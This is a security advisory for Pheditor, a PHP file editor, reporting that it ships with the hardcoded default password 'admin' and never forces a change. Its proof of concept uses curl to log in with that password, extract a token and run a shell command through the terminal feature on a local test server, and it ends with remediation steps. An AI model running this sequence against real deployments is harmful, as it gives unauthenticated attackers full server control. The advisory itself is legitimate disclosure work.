GHSA-p4h7-p9rj-2pq2 Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise

• Packagist pheditor/pheditor: >= 2.0.1, < 2.0.6 → fixed in 2.0.6

Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. PoC Environment: Any system running Pheditor with default configuration. Setup: ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` Positive trigger — authenticate with default password: ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. Verify full access: ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. Control (wrong password): ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. Cleanup: ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. Attacker privileges: Unauthenticated remote attacker (PR:N). Security boundary crossed: Unauthenticated → fully authenticated administrator. Confidentiality impact: High — read all files within MAIN_DIR and beyond (via terminal). Integrity impact: High — write/delete files, upload webshells, modify application code, execute arbitrary commands. Availability impact: High — delete files and directories, disrupt services. Suggested remediation: 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. Credits • Thai Son Dinh from VinSOC Labs (R&D)